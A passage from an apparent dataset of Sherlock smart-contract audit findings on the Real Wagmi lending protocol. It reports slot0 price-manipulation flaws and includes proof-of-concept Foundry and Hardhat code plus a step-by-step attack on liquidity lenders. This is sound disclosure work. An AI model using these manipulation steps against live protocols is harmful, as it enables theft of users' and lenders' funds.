borrowingKey: _borrowingKey,\n swapSlippageBP1000: 0\n });\n }\n\n function mintPositionAndApprove()\n public\n returns (uint256 _tokenId, uint128 liquidity, uint256 amount0, uint256 amount1)\n {\n INonfungiblePositionManager.MintParams memory mintParams = INonfungiblePositionManager\n .MintParams({\n token0: address(WBTC),\n token1: address(WETH),\n fee: 3000,\n tickLower: 253_320, //TickMath.MIN_TICK,\n tickUpper: 264_600, //TickMath.MAX_TICK ,\n amount0Desired: 10e8,\n amount1Desired: 100e18,\n amount0Min: 0,\n amount1Min: 0,\n recipient: alice,\n deadline: block.timestamp\n });\n (_tokenId, liquidity, amount0, amount1) = INonfungiblePositionManager(\n NONFUNGIBLE_POSITION_MANAGER_ADDRESS\n ).mint{ value: 1 ether }(mintParams);\n INonfungiblePositionManager(NONFUNGIBLE_POSITION_MANAGER_ADDRESS).approve(\n address(borrowingManager), _tokenId\n );\n }\n\n function test_RepayRevert() public {\n vm.startPrank(alice);\n console.log(\"alice\", alice);\n // console.log(\"Address test\", address(this));\n // console.log(\"Address borrowinganager\", address(borrowingManager));\n\n console.log(\"Before borrow\");\n console.log(IERC20(address(WETH)).balanceOf(address(alice)));\n console.log(IERC20(address(WBTC)).balanceOf(address(alice)));\n\n LiquidityBorrowingManager.BorrowParams memory AliceBorrowing = createBorrowParams(tokenId);\n\n borrowingManager.borrow(AliceBorrowing, deadline);\n console.log(\"After borrow\");\n console.log(IERC20(address(WETH)).balanceOf(address(alice)));\n console.log(IERC20(address(WBTC)).balanceOf(address(alice)));\n bytes32[] memory BorrowingKey = borrowingManager.getBorrowingKey(address(alice));\n \n\n //Make the time skip\n skip(96_400);\n vm.stopPrank();\n\n // vm.startPrank(address(borrowingManager));\n // IERC20(WBTC).approve(address(NONFUNGIBLE_POSITION_MANAGER_ADDRESS), type(uint256).max);\n // IERC20(WETH).approve(address(NONFUNGIBLE_POSITION_MANAGER_ADDRESS), type(uint256).max);\n\n vm.startPrank(bob);\n vm.expectRevert();\n LiquidityBorrowingManager.RepayParams memory bobRepaying =\n createRepayParams(BorrowingKey[0]);\n borrowingManager.repay(bobRepaying, deadline);\n vm.stopPrank();\n }\n}\n\n```\nThe test passes, we can see from the error logs in foundry:\n```shell\n [12350] 0xC36442b4a4522E871399CD717aBDD847Ab11FE88::increaseLiquidity((512098 [5.12e5], 0, 6715283 [6.715e6], 0, 0, 1685033235 [1.685e9])) \n │ │ ├─ [696] 0xCBCdF9626bC03E24f779434178A73a0B4bad62eD::slot0() [staticcall]\n │ │ │ └─ ← 0x000000000000000000000000000000000005db000f1598ba8f0e02e024506208000000000000000000000000000000000000000000000000000000000003ec8f000000000000000000000000000000000000000000000000000000000000006400000000000000000000000000000000000000000000000000000000000000c800000000000000000000000000000000000000000000000000000000000000c800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001\n │ │ ├─ [3747] 0xCBCdF9626bC03E24f779434178A73a0B4bad62eD::mint(0xC36442b4a4522E871399CD717aBDD847Ab11FE88, 253320, 264600, 0, 0x0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c599000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000000000000000000000000000000000000000000bb80000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b) \n │ │ │ └─ ← \"EvmError: Revert\"\n │ │ └─ ← \"EvmError: Revert\"\n │ └─ ← \"EvmError: Revert\"\n```\n\nThe function reverts when calling increaseLiquidity ->mint. With sufficient console.log() messages we can find that due to wrong value of `SqrtPriceX96 ` the [calculated](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L235C13-L242C15) `amount0` when calling [increaseLiquidity](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L398C8-L406C15) is equal to 0 which is causing the issue and making the function revert.\n\nThis can make liquidation impossible and loss of liquidation bonus for liquidator.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L331C3-L343C1\n\n```solidity\nfunction _getCurrentSqrtPriceX96(\n bool zeroForA,\n address tokenA,\n address tokenB,\n uint24 fee\n ) private view returns (uint160 sqrtPriceX96) {\n if (!zeroForA) {\n (tokenA, tokenB) = (tokenB, tokenA);\n }\n address poolAddress = computePoolAddress(tokenA, tokenB, fee);\n (sqrtPriceX96, , , , , , ) = IUniswapV3Pool(poolAddress).slot0();\n }\n```\nCalculation for `SqrtPriceX96` is done wrong.\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThere are multiple ways to correctly calculate SqrtPriceX96:\nPlease refer to this discussion in ethereum stackexchange - > [link](https://ethereum.stackexchange.com/questions/98685/computing-the-uniswap-v3-pair-price-from-q64-96-number)","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//001-H/186.md"}} +{"title":"_restoreLiquidity() is extemely easy to manipulate due to how it calculates underlying token balances","severity":"major","body":"Sticky Teal Sheep\n\nmedium\n\n# _restoreLiquidity() is extemely easy to manipulate due to how it calculates underlying token balances\n## Summary\n\n`LiquidityManager.sol#_getCurrentSqrtPriceX96` uses the `UniV3Pool.slot0` to determine the number of tokens it has in it's position. `slot0` is the most recent data point and is therefore extremely easy to manipulate.\n\n## Vulnerability Detail\n\n`[_restoreLiquidity` directly uses the token values returned by `LiquidityAmounts#getAmountsForLiquidity`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L289C21-L302C23). This allows a malicious user to manipulate the valuation of the LP. An example of this kind of manipulation would be to use large buys/sells to alter the composition of the LP to make it worth less or more. \n\n```solidity\n // Update the value of sqrtPriceX96 in the cache using the _getCurrentSqrtPriceX96 function\n cache.sqrtPriceX96 = _getCurrentSqrtPriceX96(\n params.zeroForSaleToken,\n cache.saleToken,\n cache.holdToken,\n cache.fee\n );\n // Calculate the amounts of token0 and token1 for a given liquidity\n (amount0, amount1) = LiquidityAmounts.getAmountsForLiquidity(\n cache.sqrtPriceX96,\n TickMath.getSqrtRatioAtTick(cache.tickLower),\n TickMath.getSqrtRatioAtTick(cache.tickUpper),\n loan.liquidity\n );\n```\n\nThen `amount0`and `amount1` are used in `_increaseLiquidity`\n```solidity\n(uint128 restoredLiquidity, , ) = underlyingPositionManager.increaseLiquidity(\n INonfungiblePositionManager.IncreaseLiquidityParams({\n tokenId: loan.tokenId,\n amount0Desired: amount0,\n amount1Desired: amount1,\n amount0Min: 0,\n amount1Min: 0,\n deadline: block.timestamp\n })\n );\nif (restoredLiquidity < loan.liquidity) => Revert\n```\n\nA malicious user could use this to manipulate `slot0`, make this transaction revert and then benefit from `liquidationBonus` when `collateralBalance is < 0`\n\n\n## Impact\n\nAmount of liquidity to be restored can be manipulated leading to `repay()` revert and borrower unable to repay\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse the `TWAP` function to get the value of `sqrtPriceX96`.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//001-H/183.md"}} +{"title":"Using `slot0` for `sqrtPriceX96` in order to calculate amount could lead to price manipulation","severity":"major","body":"Fun Magenta Aardvark\n\nhigh\n\n# Using `slot0` for `sqrtPriceX96` in order to calculate amount could lead to price manipulation\n## Summary\nUsing `slot0` for `sqrtPriceX96` in order to calculate amount could lead to price manipulation\n\n## Vulnerability Detail\n`_getCurrentSqrtPriceX96()` function retrieves the slot0 data of the Uniswap V3 pool using\n\n```Solidity\n address poolAddress = computePoolAddress(tokenA, tokenB, fee);\n (sqrtPriceX96, , , , , , ) = IUniswapV3Pool(poolAddress).slot0();\n```\n\nThe slot0 function returns various parameters of the pool, including the sqrtPriceX96 value and `slot0` is the most recent data point and is therefore extremely easy to manipulate. More info on slot0 can be checked [here](https://docs.uniswap.org/contracts/v3/reference/core/interfaces/pool/IUniswapV3PoolState#slot0)\n\n`_getCurrentSqrtPriceX96()` has been used in below functions,\n\n1) `_restoreLiquidity()`\n2) `_upRestoreLiquidityCache()`\n\n## Impact\ntokens value can be manipulated to cause loss of funds for the protocol and other users via flash loans, MEV searchers etc. This allows a malicious user to manipulate the valuation of the LP. An example of this kind of manipulation would be to use large buys/sells to alter the composition of the LP to make it worth less or more. A big swap using a flash loan can push the liquidity to one side only.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L341\n\n## Tool used\nManual Review\n\n## Recommendation\nUse TWAP instead of slot0","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//001-H/154.md"}} +{"title":"`_getCurrentSqrtPriceX96()` is easy to manipulation","severity":"major","body":"Blunt Pearl Haddock\n\nhigh\n\n# `_getCurrentSqrtPriceX96()` is easy to manipulation\n## Summary\n\nUsage of `slot0` in `_getCurrentSqrtPriceX96()` is easy to manipulation.\n\n## Vulnerability Detail\n\nIn `LiquidityManager.sol` we have `_getCurrentSqrtPriceX96()` function:\n\n```solidity\nfunction _getCurrentSqrtPriceX96(\n        bool zeroForA,\n        address tokenA,\n        address tokenB,\n        uint24 fee\n    ) private view returns (uint160 sqrtPriceX96) {\n        if (!zeroForA) {\n            (tokenA, tokenB) = (tokenB, tokenA);\n        }\n        address poolAddress = computePoolAddress(tokenA, tokenB, fee);\n        (sqrtPriceX96, , , , , , ) = IUniswapV3Pool(poolAddress).slot0(); \n    }\n```\n\nThis function retrieves the current square root price from a Uniswap V3 pool.\n\n`_getCurrentSqrtPriceX96()` using `slot0` to retrieve data from Uniswap V3 pool. The `slot0` function returns various parameters of the pool, including the `sqrtPriceX96` value.\n`slot0` is the most recent data point and is therefore extremely easy to manipulate.\nhttps://docs.uniswap.org/contracts/v3/reference/core/interfaces/pool/IUniswapV3PoolState#slot0\n\nA malicious user can use this. An example of this kind of manipulation would be using flash swaps to borrow assets from the pool, manipulate the square root price through a series of trades, and then return the borrowed assets.\n## Impact\n\n`sqrtPriceX96()` can be manipulated to cause a loss of funds for the protocol and users.\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L341\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nDon't use `slot0`. Is better to use TWAP Oracle instead.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//001-H/151.md"}} +{"title":"Use of `slot0` to get `sqrtPriceLimitX96` can lead to price manipulation","severity":"major","body":"Proud Mocha Mustang\n\nmedium\n\n# Use of `slot0` to get `sqrtPriceLimitX96` can lead to price manipulation\n## Summary\nUsing slot0 to obtain sqrtPriceLimitX96 can prevent users from repaying their loans.\n\n## Vulnerability Detail\nHowever, the sqrtPriceX96 is pulled from Uniswap.slot0, which is the most recent data point and can be manipulated easily via MEV bots and Flashloans.\n```solidity\nfunction _getCurrentSqrtPriceX96(\n bool zeroForA,\n address tokenA,\n address tokenB,\n uint24 fee\n ) private view returns (uint160 sqrtPriceX96) {\n if (!zeroForA) {\n (tokenA, tokenB) = (tokenB, tokenA);\n }\n address poolAddress = computePoolAddress(tokenA, tokenB, fee);\n (sqrtPriceX96, , , , , , ) = IUniswapV3Pool(poolAddress).slot0();\n }\n```\nsqrtPriceX96 is used within _getHoldTokenAmountIn() and getAmountsForLiquidity(). Both are part of restoreLiquidity() function.\nWrong amounts may be retrieved and used in _increaseLiquidity(), resulting in the restoration of the wrong amount of liquidity. If this is the case, the repay() function will revert due to this check:\n```solidity\n410: if (restoredLiquidity < loan.liquidity) {\n```\n\n## Impact\nUsers may become unable to repay their loans.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L331-L342\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L410\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUse a TWAP instead of slot0.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//001-H/135.md"}} +{"title":"Use of `slot0` to get `sqrtPriceLimitX96` can lead to price manipulation.","severity":"major","body":"Quiet Hickory Mule\n\nmedium\n\n# Use of `slot0` to get `sqrtPriceLimitX96` can lead to price manipulation.\n## Summary\nUsage of slot0 is extremely easy to manipulate\n\n## Vulnerability Detail\nIn LiquidityManager.sol, the functions _getCurrentSqrtPriceX96 use ` IUniswapV3Pool(poolAddress).slot0()` to get the value of sqrtPriceX96, which is used to perform the swap. However, the sqrtPriceX96 is pulled from `IUniswapV3Pool(poolAddress).slot0()` , which is the most recent data point and can be manipulated easily via MEV bots and Flashloans with sandwich attacks; which can cause the loss of funds when interacting with the Uniswap.swap function.\n\n## Impact\nPool lp value can be manipulated and cause other users to receive less lp tokens.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L341\n```solidity\nfunction _getCurrentSqrtPriceX96(\n bool zeroForA,\n address tokenA,\n address tokenB,\n uint24 fee\n ) private view returns (uint160 sqrtPriceX96) {\n if (!zeroForA) {\n (tokenA, tokenB) = (tokenB, tokenA);\n }\n address poolAddress = computePoolAddress(tokenA, tokenB, fee);\n (sqrtPriceX96, , , , , , ) = IUniswapV3Pool(poolAddress).slot0();\n }\n```\n\n## Tool used\nManual Review\n\n## Recommendation\nUse the `TWAP` function to get the value of `sqrtPriceX96`.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//001-H/127.md"}} +{"title":"Usage of slot0 is extremely easy to manipulate","severity":"major","body":"Silly Chili Crab\n\nhigh\n\n# Usage of slot0 is extremely easy to manipulate\n## Summary\n\nProtocol use `slot0()` in price calculation, which is easy to manipulate.\n\n## Vulnerability Detail\n\nProtocol use `IUniswapV3Pool(poolAddress).slot0();` to get current sqrt price and use this value to calculate the amounts of token0 and token1 for a given liquidity when [restore liquidity](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L290-L302), called when users repay.\n\nHowever, the `sqrtPriceX96` is get from `IUniswapV3Pool(poolAddress).slot0();`, which is easy to manipulate.\n\n## Impact\n\nPool lp value can be manipulated and cause other users to receive less lp tokens, or malicious users can steal funds by repay less liquidity to protocol by manipulating `slot0`.\n\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L331-L342\n\n## Tool used\n\nvscode, Manual Review\n\n## Recommendation\n\nTo make any calculation use a uniswap TWAP instead of slot0.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//001-H/115.md"}} +{"title":"Borrower can devalue LP Position before borrowing or repaying to cheapen cost of restoring liquidity","severity":"major","body":"Early Blush Yak\n\nhigh\n\n# Borrower can devalue LP Position before borrowing or repaying to cheapen cost of restoring liquidity\n## Summary\n\nA borrower can devalue the liquidity position by making a high slippage/price impact Uniswap market order so that they can repay at a discounted token amount/value.\n\n\n## Vulnerability Detail\n\nWhen an `borrow` position is opened, the amount of `liquidity` based on the current prices of `token0` and `token1` is recorded. When the price of the tokens changes, converting the hold token and sale token and redpositing the liquidity does not yield the same result.\n\nA borrower can cheapen the amount that is needed to restore a liquidity by making a high price impact swap through the Uniswap v3 pool which devalues the liquidity before calling `borrow`. Then, they can `repay` at the fair price for a profit.\n\n## Impact\n\nBorrower can steal funds from LP creditors.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L150-L215\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThe liquidity has to be valued at a Uniswap TWAP oracle price which is difficult to manipulate, and the value of `token0` and `token1` that is restored in the liquidity should be greater or equal to the TWAP oracle determined fair price.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//001-H/112.md"}} +{"title":"No slippage protection during repayment due to dynamic slippage params and easily influenced `slot0()`","severity":"major","body":"Big Charcoal Cod\n\nhigh\n\n# No slippage protection during repayment due to dynamic slippage params and easily influenced `slot0()`\n## Summary\nThe repayment function lacks slippage protection. It relies on slot0() to calculate sqrtLimitPrice, which in turn determines amounts for restoring liquidation. The dynamic calculation of slippage parameters based on these values leaves the function without adequate slippage protection, potentially reducing profit for the repayer.\n\n## Vulnerability Detail\nThe absence of slippage protection can be attributed to two key reasons. Firstly, the `sqrtPrice` is derived from `slot0()`, **which can be easily manipulated:**\n```Solidity\n function _getCurrentSqrtPriceX96(\n bool zeroForA,\n address tokenA,\n address tokenB,\n uint24 fee\n ) private view returns (uint160 sqrtPriceX96) {\n if (!zeroForA) {\n (tokenA, tokenB) = (tokenB, tokenA);\n }\n address poolAddress = computePoolAddress(tokenA, tokenB, fee);\n (sqrtPriceX96, , , , , , ) = IUniswapV3Pool(poolAddress).slot0(); //@audit-issue can be easily manipulated\n }\n```\nThe calculated `sqrtPriceX96` is used to determine the amounts for restoring liquidation and the number of holdTokens to be swapped for saleTokens:\n```Solidity\n(uint256 holdTokenAmountIn, uint256 amount0, uint256 amount1) = _getHoldTokenAmountIn(\n params.zeroForSaleToken,\n cache.tickLower,\n cache.tickUpper,\n cache.sqrtPriceX96,\n loan.liquidity,\n cache.holdTokenDebt\n );\n``` \nAfter that, the number of `SaleTokemAmountOut` is gained based on the sqrtPrice via QuoterV2.\n\nThen, the slippage params are calculated \n`amountOutMinimum: (saleTokenAmountOut * params.slippageBP1000) /\n Constants.BPS\n })`\nHowever, the `saleTokenAmountOut` is a dynamic number calculated on the current state of the blockchain, based on the calculations mentioned above. This will lead to the situation that the swap will always satisfy the `amountOutMinimum`.\n\nAs a result, if the repayment of the user is sandwiched (frontrunned), the profit of the repayer is decreased till the repayment satisfies the restored liquidity.\n\n### Proof of concept\nA Proof of Concept (PoC) demonstrates the issue with comments. Although the swap does not significantly impact a strongly founded pool, it does result in a loss of a few dollars for the repayer.\n\n```Javascript\n let amountWBTC = ethers.utils.parseUnits(\"0.05\", 8); //token0\n const deadline = (await time.latest()) + 60;\n const minLeverageDesired = 50;\n const maxCollateralWBTC = amountWBTC.div(minLeverageDesired);\n\n const loans = [\n {\n liquidity: nftpos[3].liquidity,\n tokenId: nftpos[3].tokenId,\n },\n ];\n\n const swapParams: ApproveSwapAndPay.SwapParamsStruct = {\n swapTarget: constants.AddressZero,\n swapAmountInDataIndex: 0,\n maxGasForCall: 0,\n swapData: swapData,\n };\n\nlet params = {\n internalSwapPoolfee: 500,\n saleToken: WETH_ADDRESS,\n holdToken: WBTC_ADDRESS,\n minHoldTokenOut: amountWBTC,\n maxCollateral: maxCollateralWBTC,\n externalSwap: swapParams,\n loans: loans,\n };\n\nawait borrowingManager.connect(bob).borrow(params, deadline);\n\nconst borrowingKey = await borrowingManager.userBorrowingKeys(bob.address, 0);\n const swapParamsRep: ApproveSwapAndPay.SwapParamsStruct = {\n swapTarget: constants.AddressZero,\n swapAmountInDataIndex: 0,\n maxGasForCall: 0,\n swapData: swapData,\n };\n\n \n amountWBTC = ethers.utils.parseUnits(\"0.06\", 8); //token0\n\nlet swapping: ISwapRouter.ExactInputSingleParamsStruct = {\n tokenIn: WBTC_ADDRESS,\n tokenOut: WETH_ADDRESS,\n fee: 500,\n recipient: alice.address,\n deadline: deadline,\n amountIn: ethers.utils.parseUnits(\"100\", 8),\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n };\n await router.connect(alice).exactInputSingle(swapping);\n console.log(\"Swap success\");\n\n let paramsRep: LiquidityBorrowingManager.RepayParamsStruct = {\n isEmergency: false,\n internalSwapPoolfee: 500,\n externalSwap: swapParamsRep,\n borrowingKey: borrowingKey,\n swapSlippageBP1000: 990, //<=slippage simulated\n };\n await borrowingManager.connect(bob).repay(paramsRep, deadline);\n // Without swap\n// Balance of hold token after repay: BigNumber { value: \"993951415\" }\n// Balance of sale token after repay: BigNumber { value: \"99005137946252426108\" }\n// When swap\n// Balance of hold token after repay: BigNumber { value: \"993951415\" }\n// Balance of sale token after repay: BigNumber { value: \"99000233164653177505\" }\n```\n\nThe following table shows difference of recieved sale token:\n| Swap before repay transaction | Token | Balance of user after Repay |\n|---------------------------|---------------------|----------------------|\n| No | WETH | 99005137946252426108 |\n| Yes | WETH |99000233164653177505 |\n\nThe difference in the profit after repayment is 4904781599248603 weis, which is at the current market price of around 8 USD. The profit loss will depend on the liquidity in the pool, which depends on the type of pool and related tokens.\n\n## Impact\nThe absence of slippage protection results in potential profit loss for the repayer.\n\n## Code Snippet\n[Slot0 is used here](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L341)\n[Dynamic slippage params are created here](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L265) - saleTokenAmount is dynamic variable calculated on the state of blockchain.\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo address this issue, avoid relying on slot0 and instead utilize Uniswap TWAP. Additionally, consider manually setting values for amountOutMin for swaps based on data acquired before repayment.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//001-H/109-best.md"}} +{"title":"Attacker Can use `Repay` to make trading profits off Liquidity Lender","severity":"major","body":"Early Blush Yak\n\nhigh\n\n# Attacker Can use `Repay` to make trading profits off Liquidity Lender\n## Summary\n\nAttacker can push the price of a uniswap pool away from the oracle price, force a creditor to deposit liquidity and then sell through that extra liquidity to drain tokens from the creditor.\n\n## Vulnerability Details\n\nPreliminary: The best way to understand this exploit is that a uniswap position is equivalent a series of 1bps apart limit orders. When the ticks are above the price, they are limit buy orders, and below the price, they are limit sell orders. When the price crosses a tick, one token is converted to another and the sell order is converted to a buy order, or vice versa.\n\nWhen a loan is repaid, a the liquidity in a uniswap v3 position is increased through the `_restoreLiquidity`.\n\n1. Let's say that the current price in a uniswap v3 pool is at the fair price. The attacker has borrowed from a Real Wagmi LP position.\n2. The attacker makes a buy order through the uniswap pool which manipulates the price upwards. The new price should exceed the `upperTick` of the liquidity position which has been loaned\n3. The attacker calls `repay` which repays their loan and also adds liquidity back to the pool.\n4. Attacker tokens back through the uniswap pool, pushing the pool back into its original price\n\nThis can all be done in one block.\n\nDuring step 2, where the attacker bought tokens, they bought tokens for a price higher than the fair price.\n\nDuring step 4, when the attacker sold tokens, they sold at a price higher than the fair price.\n\nSince liquidity was added during step 3, they sold more overpriced tokens than the bought, therefore making a profit.\n\nThe profit comes directly from the lender who loses money by suffering artificially genenrated impermanant loss from the price manipulation.\n\n## Impact\n\nLoss of funds for liquidity creditor.\nTrading profits for attacker.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L223-L321\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n`Repay` should revert when the Uniswap TWAP oracle price and spot price differ by a certain threshold (such as `+/- 10%`). This prevents is similar to the concept of price bands in leveraged exchanges.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//001-H/093.md"}} +{"title":"Use of slot0 to get sqrtPriceLimitX96 can lead to price manipulation.","severity":"major","body":"Obedient Misty Tiger\n\nmedium\n\n# Use of slot0 to get sqrtPriceLimitX96 can lead to price manipulation.\n## Summary\nUse of slot0 to get sqrtPriceLimitX96 can lead to price manipulation.\n## Vulnerability Detail\nIn LiquidityManager.sol, _getCurrentSqrtPriceX96() use UniswapV3.slot0 to get the value of sqrtPriceX96.\nHowever, the sqrtPriceX96 is pulled from Uniswap.slot0, which is the most recent data point and can be manipulated easily via MEV bots and Flashloans with sandwich attacks.\nsimilar finding:\nhttps://code4rena.com/reports/2023-05-maia#h-02-use-of-slot0-to-get-sqrtpricelimitx96-can-lead-to-price-manipulation\n## Impact\ncan cause the loss of funds when interacting with the Uniswap.swap function.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L331\n## Tool used\n\nManual Review\n\n## Recommendation\nUse TWAP rather than slot0.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//001-H/080.md"}} +{"title":"Attacker can manipulate low TVL Uniswap V3 pool to swap to make user in loss","severity":"major","body":"Colossal Tan Hyena\n\nhigh\n\n# Attacker can manipulate low TVL Uniswap V3 pool to swap to make user in loss\n## Summary\nUniswap V3 can have multiple pools for the same pairs of ERC20 tokens with different fee params,positions in low-liquidity pools may lead to losses for users.\n\n## Vulnerability Detail\nUniswap V3 can have multiple pools for the same pairs of ERC20 tokens with different fee params. A fews has most the liquidity, while other pools have extremely little TVL or even not created yet. Attackers can abuse it, create low TVL pool where liquidity in this pool mostly (or fully) belong to attacker’s position, malicious actors can offer their positions to borrowers for lending. Borrowers then perform swaps and liquidity additions within the pool, potentially resulting in capital losses.\n\n\n## Impact\nUsers may incur losses.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L465-L516\n\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider implementing a whitelist that only allows positions from pools with a sufficient Total Value Locked (TVL) to be part of the protocol","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//001-H/063.md"}} +{"title":"Obtaining sqrtPriceX96 from slot0 may be dangerous if liquidity is low","severity":"major","body":"Restless Ocean Chipmunk\n\nmedium\n\n# Obtaining sqrtPriceX96 from slot0 may be dangerous if liquidity is low\n## Summary\n\nUsage of slot0 is easy to manipulate.\n\n## Vulnerability Detail\n\nslot0 is used to obtain the sqrtPriceX96 value. \n\n```solidity\n function _getCurrentSqrtPriceX96(\n bool zeroForA,\n address tokenA,\n address tokenB,\n uint24 fee\n ) private view returns (uint160 sqrtPriceX96) {\n if (!zeroForA) {\n (tokenA, tokenB) = (tokenB, tokenA);\n }\n address poolAddress = computePoolAddress(tokenA, tokenB, fee);\n (sqrtPriceX96, , , , , , ) = IUniswapV3Pool(poolAddress).slot0();\n }\n```\n\n## Impact\n\nIf liquidity is low, a malicious user can manipulate the amounts in the pool by using large buys/sells order to alter the composition of liquidity. Also, a flash loan can push the liquidity to one side, affecting the calculation of sqrtPriceX96.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L331-L343\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCheck derivations from TWAP values instead of using slot0 directly.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//001-H/059.md"}} +{"title":"Use of UniswapV3 slot0() function to get sqrtPriceLimitX96 can lead to price manipulation.","severity":"major","body":"Ambitious Pine Bobcat\n\nhigh\n\n# Use of UniswapV3 slot0() function to get sqrtPriceLimitX96 can lead to price manipulation.\n## Summary\nThe UniswapV3 slot0() function is used to get the sqrtPriceX96 as shown below.\n```solidity\nfunction _getCurrentSqrtPriceX96(\n bool zeroForA,\n address tokenA,\n address tokenB,\n uint24 fee\n ) private view returns (uint160 sqrtPriceX96) {\n if (!zeroForA) {\n (tokenA, tokenB) = (tokenB, tokenA);\n }\n address poolAddress = computePoolAddress(tokenA, tokenB, fee);\n (sqrtPriceX96, , , , , , ) = IUniswapV3Pool(poolAddress).slot0();//@audit prone to price manipulation search slot0\n }\n```\n\n## Vulnerability Detail\nThe _getCurrentSqrtPriceX96(...) function above is used in _getHoldTokenAmountIn to calculate values which were used for swap here: 